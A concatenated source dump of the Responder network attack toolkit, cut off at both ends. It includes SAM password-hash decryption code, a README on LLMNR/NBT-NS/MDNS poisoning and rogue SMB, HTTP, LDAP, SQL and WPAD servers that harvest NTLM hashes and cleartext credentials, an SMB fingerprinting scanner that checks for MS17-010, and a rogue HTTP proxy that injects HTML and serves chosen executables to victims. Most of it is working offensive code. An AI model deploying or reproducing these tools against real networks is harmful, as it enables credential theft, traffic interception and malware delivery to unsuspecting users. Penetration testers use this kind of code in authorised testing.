| 78 | def sid_to_key(sid): 79 | s1 = "" 80 | s1 += chr(sid & 0xFF) 81 | s1 += chr((sid>>8) & 0xFF) 82 | s1 += chr((sid>>16) & 0xFF) 83 | s1 += chr((sid>>24) & 0xFF) 84 | s1 += s1[0]; 85 | s1 += s1[1]; 86 | s1 += s1[2]; 87 | s2 = s1[3] + s1[0] + s1[1] + s1[2] 88 | s2 += s2[0] + s2[1] + s2[2] 89 | 90 | return str_to_key(s1),str_to_key(s2) 91 | 92 | def find_control_set(sysaddr): 93 | root = get_root(sysaddr) 94 | if not root: 95 | return 1 96 | 97 | csselect = open_key(root, ["Select"]) 98 | if not csselect: 99 | return 1 100 | 101 | for v in values(csselect): 102 | if v.Name == "Current": return v.Data.value 103 | 104 | def get_hbootkey(samaddr, bootkey): 105 | sam_account_path = ["SAM", "Domains", "Account"] 106 | 107 | root = get_root(samaddr) 108 | if not root: return None 109 | 110 | sam_account_key = open_key(root, sam_account_path) 111 | if not sam_account_key: return None 112 | 113 | F = None 114 | for v in values(sam_account_key): 115 | if v.Name == 'F': 116 | F = samaddr.read(v.Data.value, v.DataLength.value) 117 | if not F: return None 118 | 119 | md5 = MD5.new() 120 | md5.update(F[0x70:0x80] + aqwerty + bootkey + anum) 121 | rc4_key = md5.digest() 122 | 123 | rc4 = ARC4.new(rc4_key) 124 | hbootkey = rc4.encrypt(F[0x80:0xA0]) 125 | 126 | return hbootkey 127 | 128 | def get_user_keys(samaddr): 129 | user_key_path = ["SAM", "Domains", "Account", "Users"] 130 | 131 | root = get_root(samaddr) 132 | if not root: return [] 133 | 134 | user_key = open_key(root, user_key_path) 135 | if not user_key: return [] 136 | 137 | return [k for k in subkeys(user_key) if k.Name != "Names"] 138 | 139 | def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr): 140 | (des_k1,des_k2) = sid_to_key(rid) 141 | d1 = DES.new(des_k1, DES.MODE_ECB) 142 | d2 = DES.new(des_k2, DES.MODE_ECB) 143 | 144 | md5 = MD5.new() 145 | md5.update(hbootkey[:0x10] + pack(" https://g-laurent.blogspot.com 6 | 7 | 8 | 9 | ## Intro ## 10 | 11 | Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB. 12 | 13 | The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. 14 | 15 | ## Features ## 16 | 17 | - Built-in SMB Auth server. 18 | 19 | Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default. 20 | 21 | - Built-in MSSQL Auth server. 22 | 23 | In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008. 24 | 25 | - Built-in HTTP Auth server. 26 | 27 | In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari. 28 | 29 | Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim. 30 | 31 | - Built-in HTTPS Auth server. 32 | 33 | Same as above. The folder certs/ contains 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair. 34 | 35 | - Built-in LDAP Auth server. 36 | 37 | In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin. 38 | 39 | - Built-in FTP, POP3, IMAP, SMTP Auth servers. 40 | 41 | This modules will collect clear text credentials. 42 | 43 | - Built-in DNS server. 44 | 45 | This server will answer type A queries. This is really handy when it's combined with ARP spoofing. 46 | 47 | - Built-in WPAD Proxy Server. 48 | 49 | This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is highly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf. 50 | 51 | - Browser Listener 52 | 53 | This module allows to find the PDC in stealth mode. 54 | 55 | - Fingerprinting 56 | 57 | When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode. 58 | 59 | - Icmp Redirect 60 | 61 | python tools/Icmp-Redirect.py 62 | 63 | For MITM on Windows XP/2003 and earlier Domain members. This attack combined with the DNS module is pretty effective. 64 | 65 | - Rogue DHCP 66 | 67 | python tools/DHCP.py 68 | 69 | DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL. 70 | 71 | - Analyze mode. 72 | 73 | This module allows you to see NBT-NS, BROWSER, LLMNR, DNS requests on the network without poisoning any responses. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet. 74 | 75 | ## Hashes ## 76 | 77 | All hashes are printed to stdout and dumped in an unique file John Jumbo compliant, using this format: 78 | 79 | (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt 80 | 81 | Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v). 82 | 83 | - Responder will logs all its activity to Responder-Session.log 84 | - Analyze mode will be logged to Analyze-Session.log 85 | - Poisoning will be logged to Poisoners-Session.log 86 | 87 | Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf 88 | 89 | 90 | ## Considerations ## 91 | 92 | - This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553. 93 | 94 | - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports. 95 | 96 | - For Ubuntu users: 97 | 98 | Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dns=dnsmasq`. Then kill dnsmasq with this command (as root): `killall dnsmasq -9` 99 | 100 | - Any rogue server can be turned off in Responder.conf. 101 | 102 | - This tool is not meant to work on Windows. 103 | 104 | - For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root: 105 | 106 | launchctl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist 107 | 108 | launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist 109 | 110 | launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist 111 | 112 | launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist 113 | 114 | ## Usage ## 115 | 116 | First of all, please take a look at Responder.conf and tweak it for your needs. 117 | 118 | Running the tool: 119 | 120 | ./Responder.py [options] 121 | 122 | Typical Usage Example: 123 | 124 | ./Responder.py -I eth0 -rPv 125 | 126 | Options: 127 | 128 | --version show program's version number and exit. 129 | -h, --help show this help message and exit. 130 | -A, --analyze Analyze mode. This option allows you to see NBT-NS, 131 | BROWSER, LLMNR requests without responding. 132 | -I eth0, --interface=eth0 133 | Network interface to use. 134 | -i 10.0.0.21, --ip=10.0.0.21 135 | Local IP to use (only for OSX) 136 | -e 10.0.0.22, --externalip=10.0.0.22 137 | Poison all requests with another IP address than 138 | Responder's one. 139 | -b, --basic Return a Basic HTTP authentication. Default: NTLM 140 | -r, --wredir Enable answers for netbios wredir suffix queries. 141 | Answering to wredir will likely break stuff on the 142 | network. Default: Off 143 | -d, --NBTNSdomain Enable answers for netbios domain suffix queries. 144 | Answering to domain suffixes will likely break stuff 145 | on the network. Default: Off 146 | -f, --fingerprint This option allows you to fingerprint a host that 147 | issued an NBT-NS or LLMNR query. 148 | -w, --wpad Start the WPAD rogue proxy server. Default value is 149 | Off 150 | -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY 151 | Upstream HTTP proxy used by the rogue WPAD Proxy for 152 | outgoing requests (format: host:port) 153 | -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file 154 | retrieval. This may cause a login prompt. Default: 155 | Off 156 | -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) 157 | authentication for the proxy. WPAD doesn't need to 158 | be ON. This option is highly effective when combined 159 | with -r. Default: Off 160 | --lm Force LM hashing downgrade for Windows XP/2003 and 161 | earlier. Default: Off 162 | -v, --verbose Increase verbosity. 163 | 164 | 165 | ## Donation ## 166 | 167 | You can contribute to this project by donating to the following BTC address: 168 | 169 | 1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW 170 | 171 | 172 | ## Acknowledgments ## 173 | 174 | Late Responder development has been possible because of the donations received from individuals and companies. 175 | 176 | We would like to thanks those major donator: 177 | 178 | - SecureWorks : https://www.secureworks.com/ 179 | 180 | - Black Hills Information Security: http://www.blackhillsinfosec.com/ 181 | 182 | - TrustedSec: https://www.trustedsec.com/ 183 | 184 | - And all, ALL the pentesters around the world who donated to this project. 185 | 186 | Thank you. 187 | 188 | ## Copyright ## 189 | 190 | NBT-NS/LLMNR Responder 191 | 192 | Responder, a network take-over set of tools created and maintained by Laurent Gaffie. 193 | 194 | email: laurent.gaffie@gmail.com 195 | 196 | This program is free software: you can redistribute it and/or modify 197 | it under the terms of the GNU General Public License as published by 198 | the Free Software Foundation, either version 3 of the License, or 199 | (at your option) any later version. 200 | 201 | This program is distributed in the hope that it will be useful, 202 | but WITHOUT ANY WARRANTY; without even the implied warranty of 203 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 204 | GNU General Public License for more details. 205 | 206 | You should have received a copy of the GNU General Public License 207 | along with this program. If not, see . 208 | -------------------------------------------------------------------------------- /tools/RunFinger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import re,sys,socket,struct 18 | import datetime 19 | import multiprocessing 20 | from socket import * 21 | from odict import OrderedDict 22 | import optparse 23 | from RunFingerPackets import * 24 | 25 | __version__ = "0.7" 26 | 27 | parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) 28 | 29 | parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) 30 | parser.add_option('-g','--grep', action="store_true", dest="Grep", default=False, help="Output in grepable format") 31 | options, args = parser.parse_args() 32 | 33 | if options.TARGET is None: 34 | print "\n-i Mandatory option is missing, please provide a target or target range.\n" 35 | parser.print_help() 36 | exit(-1) 37 | 38 | Timeout = 2 39 | Host = options.TARGET 40 | Grep = options.Grep 41 | 42 | class Packet(): 43 | fields = OrderedDict([ 44 | ]) 45 | def __init__(self, **kw): 46 | self.fields = OrderedDict(self.__class__.fields) 47 | for k,v in kw.items(): 48 | if callable(v): 49 | self.fields[k] = v(self.fields[k]) 50 | else: 51 | self.fields[k] = v 52 | def __str__(self): 53 | return "".join(map(str, self.fields.values())) 54 | 55 | def longueur(payload): 56 | length = struct.pack(">i", len(''.join(payload))) 57 | return length 58 | 59 | def GetBootTime(data): 60 | Filetime = int(struct.unpack(' 255: 84 | OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]]) 85 | return OsVersion, ClientVersion 86 | if length <= 255: 87 | OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) 88 | return OsVersion, ClientVersion 89 | except: 90 | return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" 91 | def GetHostnameAndDomainName(data): 92 | try: 93 | DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) 94 | Time = GetBootTime(data[60:68]) 95 | #If max length domain name, there won't be a \x00\x00\x00 delineator to split on 96 | if Hostname == '': 97 | DomainJoined = data[81:110].replace('\x00','') 98 | Hostname = data[113:].replace('\x00','') 99 | return Hostname, DomainJoined, Time 100 | except: 101 | return "Could not get Hostname.", "Could not get Domain joined" 102 | 103 | def DomainGrab(Host): 104 | s = socket(AF_INET, SOCK_STREAM) 105 | try: 106 | s.settimeout(Timeout) 107 | s.connect(Host) 108 | except: 109 | pass 110 | try: 111 | h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00") 112 | n = SMBNegoDataLanMan() 113 | packet0 = str(h)+str(n) 114 | buffer0 = longueur(packet0)+packet0 115 | s.send(buffer0) 116 | data = s.recv(2048) 117 | s.close() 118 | if data[8:10] == "\x72\x00": 119 | return GetHostnameAndDomainName(data) 120 | except: 121 | pass 122 | 123 | def SmbFinger(Host): 124 | s = socket(AF_INET, SOCK_STREAM) 125 | try: 126 | s.settimeout(Timeout) 127 | s.connect(Host) 128 | except: 129 | pass 130 | try: 131 | h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8") 132 | n = SMBNego(Data = SMBNegoData()) 133 | n.calculate() 134 | packet0 = str(h)+str(n) 135 | buffer0 = longueur(packet0)+packet0 136 | s.send(buffer0) 137 | data = s.recv(2048) 138 | signing = IsSigningEnabled(data) 139 | if data[8:10] == "\x72\x00": 140 | head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") 141 | t = SMBSessionFingerData() 142 | packet0 = str(head)+str(t) 143 | buffer1 = longueur(packet0)+packet0 144 | s.send(buffer1) 145 | data = s.recv(2048) 146 | if data[8:10] == "\x73\x16": 147 | OsVersion, ClientVersion = OsNameClientVersion(data) 148 | return signing, OsVersion, ClientVersion 149 | except: 150 | pass 151 | 152 | 153 | def SmbNullSession(Host): 154 | s = socket(AF_INET, SOCK_STREAM) 155 | try: 156 | s.settimeout(Timeout) 157 | s.connect(Host) 158 | except: 159 | pass 160 | 161 | try: 162 | h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8") 163 | n = SMBNego(Data = SMBNegoData()) 164 | n.calculate() 165 | packet0 = str(h)+str(n) 166 | buffer0 = longueur(packet0)+packet0 167 | s.send(buffer0) 168 | data = s.recv(2048) 169 | try: 170 | if data[8:10] == "\x72\x00": 171 | head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x53\xc8") 172 | t = SMBSessionData() 173 | t.calculate() 174 | final = t 175 | packet1 = str(head)+str(final) 176 | buffer1 = longueur(packet1)+packet1 177 | s.send(buffer1) 178 | data = s.recv(2048) 179 | 180 | if data[8:10] == "\x73\x16": 181 | head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",uid=data[32:34],mid="\x80\x00") 182 | t = SMBSession2() 183 | t.calculate() 184 | final = t 185 | packet1 = str(head)+str(final) 186 | buffer1 = longueur(packet1)+packet1 187 | s.send(buffer1) 188 | data = s.recv(2048) 189 | 190 | if data[8:10] == "\x73\x00": 191 | head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],mid="\xc0\x00") 192 | t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$") 193 | t.calculate() 194 | packet1 = str(head)+str(t) 195 | buffer1 = longueur(packet1)+packet1 196 | s.send(buffer1) 197 | data = s.recv(2048) 198 | 199 | if data[8:10] == "\x75\x00": 200 | global Guest 201 | Guest = True 202 | head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00") 203 | t = SMBTransRAPData() 204 | t.calculate() 205 | packet1 = str(head)+str(t) 206 | buffer1 = longueur(packet1)+packet1 207 | s.send(buffer1) 208 | data = s.recv(2048) 209 | if data[9:13] == "\x05\x02\x00\xc0": 210 | return Guest, True 211 | else: 212 | return Guest, False 213 | else: 214 | return False, False 215 | except Exception: 216 | pass 217 | 218 | except: 219 | pass 220 | 221 | ################## 222 | #run it 223 | def ShowResults(Host): 224 | try: 225 | Hostname, DomainJoined, Time = DomainGrab(Host) 226 | Signing, OsVer, LanManClient = SmbFinger(Host) 227 | NullSess, Ms17010 = SmbNullSession(Host) 228 | print "Retrieving information for %s..."%Host[0] 229 | print "SMB signing:", Signing 230 | print "Null Sessions Allowed:", NullSess 231 | print "Vulnerable to MS17-010:", Ms17010 232 | print "Server Time:", Time[1] 233 | print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient) 234 | print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined) 235 | except: 236 | pass 237 | 238 | def ShowSmallResults(Host): 239 | s = socket(AF_INET, SOCK_STREAM) 240 | try: 241 | s.settimeout(Timeout) 242 | s.connect(Host) 243 | except: 244 | return False 245 | 246 | try: 247 | Hostname, DomainJoined, Time = DomainGrab(Host) 248 | Signing, OsVer, LanManClient = SmbFinger(Host) 249 | NullSess, Ms17010 = SmbNullSession(Host) 250 | Message = "['%s', Os:'%s', Domain:'%s', Signing:'%s', Time:'%s', Null Session: %s, MS17-010: %s]"%(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, Ms17010) 251 | print Message 252 | except: 253 | raise 254 | pass 255 | 256 | def IsGrepable(): 257 | if options.Grep: 258 | return True 259 | else: 260 | return False 261 | 262 | def RunFinger(Host): 263 | m = re.search("/", str(Host)) 264 | if m : 265 | net,_,mask = Host.partition('/') 266 | mask = int(mask) 267 | net = atod(net) 268 | threads = [] 269 | for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): 270 | if IsGrepable(): 271 | p = multiprocessing.Process(target=ShowSmallResults, args=((host,445),)) 272 | threads.append(p) 273 | p.start() 274 | else: 275 | p = multiprocessing.Process(target=ShowResults, args=((host,445),)) 276 | threads.append(p) 277 | p.start() 278 | else: 279 | if IsGrepable(): 280 | ShowSmallResults((Host,445)) 281 | else: 282 | ShowResults((Host,445)) 283 | 284 | RunFinger(Host) 285 | 286 | -------------------------------------------------------------------------------- /servers/HTTP_Proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import urlparse 18 | import select 19 | import zlib 20 | import BaseHTTPServer 21 | 22 | from servers.HTTP import RespondWithFile 23 | from utils import * 24 | 25 | IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ] 26 | 27 | def InjectData(data, client, req_uri): 28 | 29 | # Serve the .exe if needed 30 | if settings.Config.Serve_Always: 31 | return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) 32 | 33 | # Serve the .exe if needed and client requested a .exe 34 | if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'): 35 | return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri)) 36 | 37 | if len(data.split('\r\n\r\n')) > 1: 38 | try: 39 | Headers, Content = data.split('\r\n\r\n') 40 | except: 41 | return data 42 | 43 | RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] 44 | if set(RedirectCodes) & set(Headers): 45 | return data 46 | 47 | if "content-encoding: gzip" in Headers.lower(): 48 | Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) 49 | 50 | if "content-type: text/html" in Headers.lower(): 51 | if settings.Config.Serve_Html: # Serve the custom HTML if needed 52 | return RespondWithFile(client, settings.Config.Html_Filename) 53 | 54 | Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers)) 55 | HasBody = re.findall(r'(]*>)', Content, re.IGNORECASE) 56 | 57 | if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'): 58 | if settings.Config.Verbose: 59 | print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) 60 | 61 | Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject)) 62 | 63 | if "content-encoding: gzip" in Headers.lower(): 64 | Content = zlib.compress(Content) 65 | 66 | Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) 67 | data = Headers +'\r\n\r\n'+ Content 68 | else: 69 | if settings.Config.Verbose: 70 | print text("[PROXY] Returning unmodified HTTP response") 71 | return data 72 | 73 | class ProxySock: 74 | def __init__(self, socket, proxy_host, proxy_port) : 75 | 76 | # First, use the socket, without any change 77 | self.socket = socket 78 | 79 | # Create socket (use real one) 80 | self.proxy_host = proxy_host 81 | self.proxy_port = proxy_port 82 | 83 | # Copy attributes 84 | self.family = socket.family 85 | self.type = socket.type 86 | self.proto = socket.proto 87 | 88 | def connect(self, address) : 89 | 90 | # Store the real remote adress 91 | self.host, self.port = address 92 | 93 | # Try to connect to the proxy 94 | for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo( 95 | self.proxy_host, 96 | self.proxy_port, 97 | 0, 0, socket.SOL_TCP): 98 | try: 99 | # Replace the socket by a connection to the proxy 100 | self.socket = socket.socket(family, socktype, proto) 101 | self.socket.connect(sockaddr) 102 | except socket.error, msg: 103 | if self.socket: 104 | self.socket.close() 105 | self.socket = None 106 | continue 107 | break 108 | if not self.socket : 109 | raise socket.error, msg 110 | 111 | # Ask him to create a tunnel connection to the target host/port 112 | self.socket.send( 113 | ("CONNECT %s:%d HTTP/1.1\r\n" + 114 | "Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port)) 115 | 116 | # Get the response 117 | resp = self.socket.recv(4096) 118 | 119 | # Parse the response 120 | parts = resp.split() 121 | 122 | # Not 200 ? 123 | if parts[1] != "200": 124 | print color("[!] Error response from upstream proxy: %s" % resp, 1) 125 | pass 126 | 127 | # Wrap all methods of inner socket, without any change 128 | def accept(self) : 129 | return self.socket.accept() 130 | 131 | def bind(self, *args) : 132 | return self.socket.bind(*args) 133 | 134 | def close(self) : 135 | return self.socket.close() 136 | 137 | def fileno(self) : 138 | return self.socket.fileno() 139 | 140 | def getsockname(self) : 141 | return self.socket.getsockname() 142 | 143 | def getsockopt(self, *args) : 144 | return self.socket.getsockopt(*args) 145 | 146 | def listen(self, *args) : 147 | return self.socket.listen(*args) 148 | 149 | def makefile(self, *args) : 150 | return self.socket.makefile(*args) 151 | 152 | def recv(self, *args) : 153 | return self.socket.recv(*args) 154 | 155 | def recvfrom(self, *args) : 156 | return self.socket.recvfrom(*args) 157 | 158 | def recvfrom_into(self, *args) : 159 | return self.socket.recvfrom_into(*args) 160 | 161 | def recv_into(self, *args) : 162 | return self.socket.recv_into(buffer, *args) 163 | 164 | def send(self, *args) : 165 | try: return self.socket.send(*args) 166 | except: pass 167 | 168 | def sendall(self, *args) : 169 | return self.socket.sendall(*args) 170 | 171 | def sendto(self, *args) : 172 | return self.socket.sendto(*args) 173 | 174 | def setblocking(self, *args) : 175 | return self.socket.setblocking(*args) 176 | 177 | def settimeout(self, *args) : 178 | return self.socket.settimeout(*args) 179 | 180 | def gettimeout(self) : 181 | return self.socket.gettimeout() 182 | 183 | def setsockopt(self, *args): 184 | return self.socket.setsockopt(*args) 185 | 186 | def shutdown(self, *args): 187 | return self.socket.shutdown(*args) 188 | 189 | # Return the (host, port) of the actual target, not the proxy gateway 190 | def getpeername(self) : 191 | return self.host, self.port 192 | 193 | # Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao. 194 | class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): 195 | __base = BaseHTTPServer.BaseHTTPRequestHandler 196 | __base_handle = __base.handle 197 | 198 | rbufsize = 0 199 | 200 | def handle(self): 201 | (ip, port) = self.client_address 202 | if settings.Config.Verbose: 203 | print text("[PROXY] Received connection from %s" % self.client_address[0]) 204 | self.__base_handle() 205 | 206 | def _connect_to(self, netloc, soc): 207 | i = netloc.find(':') 208 | if i >= 0: 209 | host_port = netloc[:i], int(netloc[i+1:]) 210 | else: 211 | host_port = netloc, 80 212 | try: soc.connect(host_port) 213 | except socket.error, arg: 214 | try: msg = arg[1] 215 | except: msg = arg 216 | self.send_error(404, msg) 217 | return 0 218 | return 1 219 | 220 | def socket_proxy(self, af, fam): 221 | Proxy = settings.Config.Upstream_Proxy 222 | Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '') 223 | Proxy = Proxy.split(':') 224 | 225 | try: Proxy = (Proxy[0], int(Proxy[1])) 226 | except: Proxy = (Proxy[0], 8080) 227 | 228 | soc = socket.socket(af, fam) 229 | return ProxySock(soc, Proxy[0], Proxy[1]) 230 | 231 | def do_CONNECT(self): 232 | 233 | if settings.Config.Upstream_Proxy: 234 | soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM) 235 | else: 236 | soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 237 | 238 | try: 239 | if self._connect_to(self.path, soc): 240 | self.wfile.write(self.protocol_version +" 200 Connection established\r\n") 241 | self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) 242 | self.wfile.write("\r\n") 243 | try: 244 | self._read_write(soc, 300) 245 | except: 246 | pass 247 | except: 248 | pass 249 | 250 | finally: 251 | soc.close() 252 | self.connection.close() 253 | 254 | def do_GET(self): 255 | (scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http') 256 | 257 | if netloc in IgnoredDomains: 258 | #self.send_error(200, "OK") 259 | return 260 | 261 | if scm not in 'http' or fragment or not netloc: 262 | self.send_error(400, "bad url %s" % self.path) 263 | return 264 | 265 | if settings.Config.Upstream_Proxy: 266 | soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM) 267 | else: 268 | soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 269 | 270 | try: 271 | URL_Unparse = urlparse.urlunparse(('', '', path, params, query, '')) 272 | 273 | if self._connect_to(netloc, soc): 274 | soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)) 275 | 276 | Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' 277 | 278 | if settings.Config.Verbose: 279 | print text("[PROXY] Client : %s" % color(self.client_address[0], 3)) 280 | print text("[PROXY] Requested URL : %s" % color(self.path, 3)) 281 | print text("[PROXY] Cookie : %s" % Cookie) 282 | 283 | self.headers['Connection'] = 'close' 284 | del self.headers['Proxy-Connection'] 285 | del self.headers['If-Range'] 286 | del self.headers['Range'] 287 | 288 | for k, v in self.headers.items(): 289 | soc.send("%s: %s\r\n" % (k.title(), v)) 290 | soc.send("\r\n") 291 | 292 | try: 293 | self._read_write(soc, netloc) 294 | except: 295 | pass 296 | 297 | except: 298 | pass 299 | 300 | finally: 301 | soc.close() 302 | self.connection.close() 303 | 304 | def _read_write(self, soc, netloc='', max_idling=30): 305 | iw = [self.connection, soc] 306 | ow = [] 307 | count = 0 308 | while 1: 309 | count += 1 310 | (ins, _, exs) = select.select(iw, ow, iw, 1) 311 | if exs: 312 | break 313 | if ins: 314 | for i in ins: 315 | if i is soc: 316 | out = self.connection 317 | try: 318 | data = i.recv(4096) 319 | if len(data) > 1: 320 | data = InjectData(data, self.client_address[0], self.path) 321 | except: 322 | pass 323 | else: 324 | out = soc 325 | try: 326 | data = i.recv(4096) 327 | 328 | if self.command == "POST" and settings.Config.Verbose: 329 | print text("[PROXY] POST Data : %s" % data) 330 | except: 331 | pass 332 | if data: 333 | try: 334 | out.send(data) 335 | count = 0 336 | except: 337 | pass 338 | if count == max_idling: 339 | break 340 | return None 341 | 342 | 343 | do_HEAD = do_GET 344 | do_POST = do_GET 345 | do_PUT = do_GET 346 | do_DELETE=do_GET 347 | 348 | -------------------------------------------------------------------------------- /tools/MultiRelay/creddump/framework/newobj.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 